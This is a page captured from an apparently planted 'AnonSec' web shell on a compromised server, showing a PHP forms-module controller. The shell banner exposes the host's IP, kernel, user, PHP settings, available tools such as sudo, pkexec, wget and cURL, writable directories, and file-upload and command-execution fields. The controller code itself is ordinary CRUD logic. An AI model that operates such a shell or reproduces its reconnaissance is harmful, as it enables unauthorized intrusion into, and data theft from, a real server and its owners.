AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/gasch/application/plugins/module_forms/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/gasch/application/plugins/module_forms/controllers/FormsController.php
<?php

require_once 'Controller.php';
require_once __DIR__ . '/../models/FormsModel.php';
require_once __DIR__ . "/../models/WebservicesModel.php";
require_once __DIR__ . "/../models/QuestionsModel.php";
require_once __DIR__ . "/../models/TypesModel.php";
require_once __DIR__ . "/../models/QuestionsformsModel.php";

/**
 *
 */
class FormsController extends Controller
{
	/**
	 * @var FormsModel
	 */
	protected $model;

	/**
	 * @var WebservicesModel
	 */
	protected $modelWebservice;

	/**
	 * @var TypesModel
	 */
	protected $modelTypes;

	/**
	 * @var QuestionsModel
	 */
	protected $modelQuestions;

	/**
	 * @var
	 */
	protected $modelQuestionsforms;

	/**
	 * FormsController constructor.
	 * @param $ui
	 * @param $_L
	 * @param $config
	 * @param $_pd
	 */
	public function __construct($ui, $_L, $config, $_pd)
	{
		parent::__construct($ui, $_L, $config, $_pd);
		$this->model = new FormsModel();
		$this->modelWebservice = new WebservicesModel();
		$this->modelTypes = new TypesModel();
		$this->modelQuestions = new QuestionsModel();
		$this->modelQuestionsforms = new QuestionsformsModel();
	}

	public function add()
	{
		$ui->assign('jsvar', '
			_L[\'Drag questions to this area\'] = \'' . $_L['Drag questions to this area'] . '\';  
		');

        $assets_css = Asset::css([
        	'modal',
			's2/css/select2.min',
//			'toggle/bootstrap-toggle.min'
		]);
        $assets_css .= Asset::css('/../../../' . $this->_pd . '/assets/css/questions');
        $this->ui->assign('xheader', $assets_css);

        $assets_js = Asset::js([
        	'modal',
			's2/js/select2.min',
//			'toggle/bootstrap-toggle.min',
			'dp/dist/datepicker.min'
		]);
	    $assets_js .= Asset::js_external($this->_pd . '/assets/js/forms.js');
		$assets_js .= Asset::js_external($this->_pd . '/assets/js/questions.js');
        $this->ui->assign('xfooter', $assets_js);

        $types = $this->modelTypes->all('name');
        $this->ui->assign('types', $types);

        $this->ui->assign('_st', $this->_L['module_forms']);
		$this->ui->assign('_include', 'forms/' . __FUNCTION__);
		$this->ui->display('wrapper.tpl');
	}

	public function create()
    {
        $this->validate();

        $this->model->createForm($this->data);

        r2(U . 'module_forms/forms/listForms', 's', $this->_L['module_forms_form_save_smsg']);
    }

    public function edit()
    {
        if (!isset($this->routes['3']) || !is_numeric($this->routes['3'])) {
            r2(U . "module_forms/forms/listForms", 'e', $this->_L['Invalid ID']);
        }

        $assets_css = Asset::css([
        	'modal',
			's2/css/select2.min',
			'toggle/bootstrap-toggle.min',
			'/../../theme/lrsys/css/jquery-ui'
			]);
		$assets_css .= Asset::css('/../../../' . $this->_pd . '/assets/css/questions');
        $this->ui->assign('xheader', $assets_css);

        $webservices = $this->modelWebservice->all();
        $this->ui->assign('webservices', $webservices);

		$this->ui->assign('jsvar', '
			_L[\'Remove\'] = \'' . $this->_L['Remove'] . '\';
			_L[\'Select\'] = \'' . $this->_L['Select'] . '\';
			_L[\'module_forms_logic_jump\'] = \'' . $this->_L['module_forms_logic_jump'] . '\';
			_L[\'Drag questions to this area\'] = \'' . $this->_L['Drag questions to this area'] . '\';
		');

        $assets_js = Asset::js([
        	'modal',
			'bootbox.min',
			's2/js/select2.min',
			'toggle/bootstrap-toggle.min',
			'dp/dist/datepicker.min',
			'maskinput/jquery.maskedinput.min',
			'tinymce/tinymce.min'
		]);
        $assets_js .= Asset::js_external($this->_pd . '/assets/js/forms.js');
		$assets_js .= Asset::js_external($this->_pd . '/assets/js/questions.js');
//		$assets_js .= Asset::js_external($this->_pd . '/assets/js/rangyinputs/rangyinputs-jquery.js');
//		$assets_js .= Asset::js_external($this->_pd . '/assets/js/tinymce-variable/src/plugin.js');
		$this->ui->assign('xfooter', $assets_js);

        $form = $this->model->getOne($this->routes['3']);
        $this->ui->assign('form', $form);

		$types = $this->modelTypes->all('name', false, 'array');
		$this->ui->assign('types', $types);

		// Busca as questões do formulário
		$questions = ORM::for_table('module_forms_questions')
			->table_alias('q')
			->select('q.id')
			->select('q.type_id')
			->select('q.question')
			->select('q.sorder')
			->select_expr('(SELECT COUNT(quest.id) FROM module_forms_questions quest WHERE q.id = quest.parent_id)', 'has_child')
			->join('module_forms_questions_forms', 'q.id = qf.question_id', 'qf')
			->join('module_forms_forms', 'qf.form_id = f.id', 'f')
			->where('qf.form_id', $this->routes['3'])
			->where_null('q.parent_id')
			->order_by_asc('sorder')
			->find_many();
		$this->ui->assign('questions', $questions);

		// Busca as questões filhas (Grupo de questões)
		$child_questions = ORM::for_table('module_forms_questions')
			->table_alias('q')
			->select('q.id')
			->select('q.parent_id')
			->select('q.type_id')
			->select('q.question')
			->select('q.sorder')
			->join('module_forms_questions_forms', 'q.id = qf.question_id', 'qf')
			->join('module_forms_forms', 'qf.form_id = f.id', 'f')
			->where('qf.form_id', $this->routes['3'])
			->where_not_null('q.parent_id')
			->order_by_asc('sorder')
			->find_many();
		$this->ui->assign('child_questions', $child_questions);

        $this->ui->assign('_st', $this->_L['module_forms']);
        $this->ui->assign('_include', 'forms/add');
        $this->ui->display('wrapper.tpl');
    }

    public function update()
    {
        $registry = $this->validate();

        $this->model->update($this->data, $registry);

        r2(U . 'module_forms/forms/listForms', 's', $this->_L['module_forms_form_edit_smsg']);
    }

    public function delete()
    {
        if (!isset($this->routes[3]) || !is_numeric($this->routes[3])) {
            r2(U . 'module_forms/forms/listForms', 'e', $this->_L['Invalid ID']);
        }

		// Verifica se a questão existe
		$form = $this->model->getOne($this->routes[3]);

		if (!$form) {
			r2($_SERVER['HTTP_REFERER'], 'e', $this->_L['Not_Found']);
		}

		// Remove da tabela N:N
		$questions_forms = $this->modelQuestionsforms->getByParam('form_id', $form->id);
		if ($questions_forms) {
			foreach ($questions_forms as $item) {
				$this->modelQuestionsforms->delete($item->id);
			}
		}

        $this->model->delete($this->routes[3]);

        r2(U . 'module_forms/forms/listForms', 's', $this->_L['module_forms_form_delete_smsg']);
    }

	public function listForms()
	{
        $forms = $this->model->all();
        $this->ui->assign('forms', $forms);

        $this->ui->assign('_st', $this->_L['module_forms']);

        $assets_css = Asset::css(['modal', 's2/css/select2.min']);
        $this->ui->assign('xheader', $assets_css);

        $this->ui->assign('jsvar', '
			_L[\'Yes\'] = \'' . $this->_L['Yes'] . '\';
			_L[\'No\'] = \'' . $this->_L['No'] . '\';
			_L[\'are_you_sure\'] = \'' . $this->_L['are_you_sure'] . '\';
		');

        $assets_js = Asset::js(['modal', 's2/js/select2.min']);
        $assets_js .= Asset::js_external($this->_pd . '/assets/js/forms.js');
        $this->ui->assign('xfooter', $assets_js);

        $this->ui->assign('_include', 'forms/list');
		$this->ui->display('wrapper.tpl');
	}

	public function validate()
    {
        $url_controller = "forms";
        if ($_SERVER['REQUEST_METHOD'] != 'POST') {
            r2(U . "module_forms/{$url_controller}/listForms", 'e', $this->_L['Method'] .' '. $this->_L['Not Permited']);
        }

        $this->data = $_POST;

        if (isset($this->data['status']) && $this->data['status'] == 'ativo') {
            $this->data['status'] = true;
        }
        else {
            $this->data['status'] = false;
        }

        if (isset($this->data['id']) && !is_numeric($this->data['id'])) {
            r2(U . "module_forms/{$url_controller}/listForms", 'e', $this->_L['Invalid ID']);
        }

        if (!isset($this->data['title']) || empty($this->data['title'])) {
            r2(U . "module_forms/{$url_controller}/listForms", 'e', $this->_L['Title'] .' '. $this->_L['is required']);
        }

        if (isset($this->data['id']) && is_numeric($this->data['id'])) {
            $registry = $this->model->getOne($this->data['id']);

            if (!$registry) {
                r2(U . "module_forms/{$url_controller}/listForms", 'e', $this->_L['Not_Found']);
            }

            return $registry;
        }

        return false;
    }
}

Anon7 - 2022
AnonSec Team